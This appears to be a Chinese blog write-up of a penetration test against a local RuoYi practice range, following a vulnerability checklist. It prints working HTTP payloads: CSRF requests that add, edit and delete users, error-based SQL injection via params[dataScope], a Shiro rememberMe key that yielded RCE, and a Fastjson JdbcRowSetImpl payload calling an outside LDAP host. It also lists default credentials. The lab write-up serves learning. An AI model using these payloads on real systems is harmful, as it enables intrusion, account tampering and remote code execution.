Loading

安服靶场

一个ruoyi靶场。

环境准备

首先启动靶场镜像,这里我顺便搞清楚了一下一直有的一个错觉,就是觉得docker有两套命令:

一套是docker compose up -d docker compose down ,另一套好像是直接 docker load 什么什么 然后关闭的时候又是 stop rm remove 之类的,分不清楚。

以下是AI给我的解答:

  1. 第一套命令:针对“单个容器”的手动挡(你看到的 stop / rm / rmi)
    当你只有一个软件要跑,或者你想精细控制每一步时,就用这套。这套命令的核心是“伺候一个容器”。

docker load -i test.tar:这是“把菜谱买回来”。把压缩包里的镜像解压到你的 Docker 仓库里(相当于放进了冰箱)。

docker run:这是“照着菜谱把菜做出来”(创建并启动容器)。

docker stop:这是“把火关了”(停止容器进程,但菜还在盘子里,容器文件还在硬盘上)。

docker rm:这是“把盘子倒掉、洗干净”(删除容器对象)。注意,盘子没了,但菜谱(镜像)还在冰箱里。

docker rmi:这是“把菜谱扔掉”(删除镜像)。注意,rmi 最后的 i 代表 Image(镜像)。

记忆口诀:load 进货,run 做菜,stop 熄火,rm 收盘子,rmi 扔菜谱。

  1. 第二套命令:针对“多个容器”的自动挡(你看到的 Compose)
    当你需要同时跑好几个关联的软件时(比如你要跑一个渗透测试靶场,可能需要“Web服务器 + 数据库 + 缓存”),如果一个个手动 run、stop、rm,你会累死。于是 Docker 出了个“管家”——Docker Compose。

docker-compose up -d:管家拿着“装修清单(docker-compose.yml)”,把清单上列出的所有菜谱(镜像)一次性全部做成菜(容器),并且把各种网络线路接好,一键全部启动。

docker-compose down:“一键砸烂并清场”。它会把根据这个清单启动的所有容器(盘子)全部自动 stop 并自动 rm(倒掉),还会把临时创建的虚拟网络也删了。但它不会删除镜像(菜谱),所以下次 up 的时候,因为菜谱还在,启动会很快。

总结就是,原来run,stop,rm那一套是手动挡,compose那一套是自动挡,方便了不少。

渗透测试部分

信息泄露

robots.txt信息泄露 无

敏感信息泄漏 存在

image-20260811093918293

登录框直接存在未删掉的管理员账户密码admin/admin123,可直接登录进入后台。

过时的、用于备份的或者开发文件残留 无

异常报错信息泄漏 无

明文密码本地保存 无

入侵痕迹残留 无

HTTP头信息泄漏 无

目录浏览 无

默认页面信息泄漏 无

存在可访问的管理后台入口 无

存在可访问的管理控制台入口 无

参数溢出 无

js source map前端源码信息泄露 无

信息猜解

用户名枚举 无

存在弱口令 存在

存在弱口令admin123登录。

image-20260811102221513

暴力破解 无

认证信息泄露

传输过程信息泄漏 存在

image-20260811102304934

POST方式明文传输用户名密码。

认证功能缺陷

OAuth认证缺陷 不涉及

多点登录 存在

在多个浏览器中均可登录同一各账号,说明存在多点认证缺陷。

image-20260811102920368

image-20260811102932518

登录失败次数限制绕过 无

验证码可被穷举 不涉及

会话管理缺陷

注销后会话未失效 无

退出登录之后再次发送请求会302:

image-20260811103339810

会话固定 存在

登录前后sessionid保持一致:

image-20260811103637293

image-20260811103709669

密码找回/修改漏洞

密码重置链接可预测 无

任意密码重置 无

业务逻辑缺陷

短信/邮件验证码关联性验证缺失 不涉及

负值反冲 不涉及

正负值对冲 不涉及

业务流程绕过 不涉及

客户端校验绕过 无

image-20260811105026482

四舍五入测试 不涉及

业务功能滥用

引用第三方不可控链接 无

未验证的URL跳转 无

服务器端请求伪造(SSRF) 无

短信内容可控 不涉及

邮件内容可控 不涉及

批量提交 不涉及

防护功能失效

验证码泄露 无

滑块验证码绕过 不涉及

图形验证码绕过 无

短信验证码泄露 不涉及

来源ip限制绕过 不涉及

人脸验证失效 不涉及

实名认证绕过 不涉及

防护功能缺失

Cookie属性问题 存在

存在未设置HttpOnly、Secure属性和SameSite属性。image-20260811111812168

会话失效时间过长 无

防护功能缺失(CSP) 不涉及

防护功能滥用

恶意账号锁定问题 无

短信炸弹 不涉及

邮件炸弹 不涉及

恶意地区ip锁定 无

权限缺失

Flash跨域访问 无

jsonp跨域请求 无

未授权访问 无

CORS跨域请求 无

权限篡改

越权漏洞 无

Cookies伪造 无

会话变量可控 无

跨站请求伪造(CSRF) 存在

信息修改处存在CSRF,可导致姓名,手机号等信息被篡改。

POST /admin/system/user/profile/update HTTP/1.1
Host: 127.0.0.1:4444
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user/profile
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=6ed48c44-5c82-40fc-91ea-9ffbc06c9695
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

id=&userName=<s>1111&phonenumber=<s>15888888888&email=<s>1&sex=1

image-20260811124311231

抓包并生成CSRF的payload,然后点击

image-20260811124357372

可以看到修改成功:

image-20260811124507606

添加用户处存在CSRF:

POST /admin/system/user/add HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 246
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Origin: http://burpsuite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://burpsuite/
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=0ad23f89-f916-4eea-8ceb-79046a5fab01
Connection: keep-alive

deptId=107&userName=test&deptName=%EF%BF%BD%C2%BF%C2%90%EF%BF%BD%C2%BB%C2%B4%EF%BF%BD%C6%92%C2%A8%EF%BF%BD%E2%80%94%C2%A8&phonenumber=13888888889&email=test1%40qq.com&loginName=test&password=123456&sex=0&role=2&remark=&status=0&roleIds=2&postIds=

点击burp生成的payload之后成功添加用户:

image-20260811124957421

用户信息编辑处存在CSRF,可直接修改用户信息:

POST /admin/system/user/edit HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 194
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user/edit/4
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=0ad23f89-f916-4eea-8ceb-79046a5fab01
Connection: keep-alive

userId=4&deptId=107&userName=test1&dept.deptName=%E8%BF%90%E7%BB%B4%E9%83%A8%E9%97%A8&phonenumber=13888888889&email=test1%40qq.com&loginName=test&sex=0&role=2&remark=&status=0&roleIds=2&postIds=

点击burp生成的payload之后成功修改刚刚创建的test用户的昵称为test1:

image-20260811130311620

image-20260811130331133

用户管理的删除处存在CSRF,可直接删除任意用户账号:

POST /admin/system/user/remove HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 5
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=227274d0-4c86-44c2-b79c-f0430e89cbae
Connection: keep-alive

ids=4

点击burp生成的payload之后成功删除了刚刚创建的test用户:

image-20260811130814640

推出接口/admin/logout存在CSRF,可导致用户退出系统:

image-20260811131129114

JWT伪造 不涉及

数据验证缺失

跨站脚本攻击(XSS) 无

HTTP响应分割 无

Host头攻击 无

SQL注入 存在

这里我刚开始测得时候以为是传统的orderby注入点,因为我拼接sec,10000他给我报错了,但后续其他语句就不执行,后面用AI直接给我搞出来个请求里没有的params[dataScope]参数却注入成功了,没一点拦截,问题怎么做到的,后面得知是ruoyi的nday,看来还是nday打少了。

多个接口和参数存在sql注入

sql1
POST /admin/system/user/list HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 66
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/user
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive
Origin: xxx

params[dataScope]=and+extractvalue(1,concat(0x7e,database(),0x7e))

image-20260811154929023

sql2
POST /admin/system/role/list HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 192
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=+and+extractvalue(1,concat(0x7e,database()))

image-20260811155003732

sql3
POST /admin/system/dept/edit HTTP/1.1
Host: 127.0.0.1:4444
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/system/dept
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive
Content-Length: 118
Content-Type: application/x-www-form-urlencoded

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)+and+extractvalue(1,concat(0x7e,database(),0x7e))%23

image-20260811155049904

XML注入 无

XML外部实体注入(XXE) 无

XPATH注入 无

命令注入 无

模板注入(SSTI) 无

上传路径可控 无

任意文件上传 无

任意文件下载 无

文件包含漏洞 无

反序列化漏洞 存在

shiro反序列化漏洞

登陆处存在rememberMe字段回显,存在shiro组件且开启了rememberMe功能。

POST /admin/login HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 56
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:4444
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:4444/admin/login
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=3f978b38-856c-4750-ae3d-7302902c88ca
Connection: keep-alive

username=admin&password=111&validateCode=12&rememberMe=1

image-20260812111231814

这里使用工具指定url :http://127.0.0.1:4444/admin/login

爆破出了固定密钥为:fCq+/xW488hMTCD+cmJ3aQ==和可用的利用链,并成功RCE:

image-20260812111534584

image-20260812114620739

Fastjson反序列化漏洞

image-20260811161410150

该处存在fastjson反序列化漏洞。

这里发现存在发送json数据的功能,于是dnslog进行探测:

POST /admin/json HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 114
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="149", "Not)A;Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Origin: http://127.0.0.1:4444
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1:4444/admin/demo/table/search
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=69ea2d2b-2302-4385-a344-b18f5efec419
Connection: keep-alive

json={"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://98kk53.dnslog.cn","autoCommit":true}}	

成功收到解析记录,证明反序列化存在:

image-20260811160501233

其它

HTTP参数污染 无

缓慢拒绝服务攻击 无

通配符注入 无

条件竞争漏洞 无

启用不安全的HTTP方法 无

密码策略测试 存在

新增用户密码为弱口令123456,求修改密码处可修改密码为弱口令。

image-20260812121649146

ASP.NET Padding Oracle测试 无

请求走私 (HTTP Request Smuggling) 无

缓存投毒 无

参考文章:

若依(RuoYi)框架漏洞总结 - 渗透测试中心 - 博客园

若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御 - 技术栈

posted @ 2026-08-11 17:34  幽暗天琴沙雕  阅读(3)  评论(0)    收藏  举报